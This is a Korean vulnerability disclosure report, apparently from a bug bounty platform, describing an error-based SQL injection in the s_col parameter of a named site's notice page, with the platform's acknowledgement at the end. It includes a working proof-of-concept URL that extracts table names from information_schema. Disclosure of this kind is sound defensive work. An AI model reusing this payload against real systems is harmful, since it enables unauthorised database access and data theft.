Weakness
Description
개요
Notice 공지사항 페이지 s_col 파라미터에 ’ 삽입 시 에러 발생
재현 과정
[취약점 재현을 하기 위한 과정을 서술해 주세요]
-
[step1]
Notice 공지사항 페이지 소스 코드 242번 라인에서 249번 라인을 확인 시 s_col 파라미터 발견 가능
-
[step2]
검색 문자열이 s_txt 라는 점에서 근거 s_col 파라미터는 검색하는 카테고리 값을 담는 파라미터라고 판단하였고 이를 증명하기 위해 s_col 파라미터에 ’ 값을 입력한 결과 에러 구문 확인 가능
url : http://www.ncurity.com/sub/1_6.php?s_txt=234&s_col=%27
-
[step3]
따라서 error based SQLI 공격이 가능 하며 이를 이용하여 내부 db 데이터 유출 가능
poc : http://www.ncurity.com/sub/1_6.php?s_txt=234&s_col=1=2%20||%20(select%20concat((select%20(table_name)%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%20limit%200,1),floor(rand(0)*2))a%20from%20(select%201%20union%20select%202%20union%20select%203)a%20group%20by%20a%20having%20min(0))–%20a
예상되는 취약점 발생 원인
[해당 취약점이 발생하는 예상 원인을 서술해 주세요]
s_txt 파리미터는 검색 문자열로 s_col 파라미터는 where문 뒤 검색하는 필드 명으로 필터 없이 들어가는 쿼리를 가지고 있을 가능성이 매우 높습니다.
패치 방법
[해당 취약점을 패치하기 위한 대응 방법을 서술해 주세요]
Prepared statement 사용 및 입력 값 필터
예상 결과 및 파급력
[해당 취약점으로 인해 예상되는 결과 및 파급력을 서술해 주세요. 시나리오가 포함되어도 좋습니다.]
db 내 주요 데이터 탈취 가능
기타사항 및 레퍼런스
[그 외에 추가할 내용이 있다면 이곳에 작성해주세요.(스크린샷, 로그 등)]
- [첨부파일 / 레퍼런스]
제출해주신 티켓 확인 결과 Error base SQL injection 취약점을 확인하였습니다. 해당 티켓은 담당자에게 전달하도록 하겠습니다.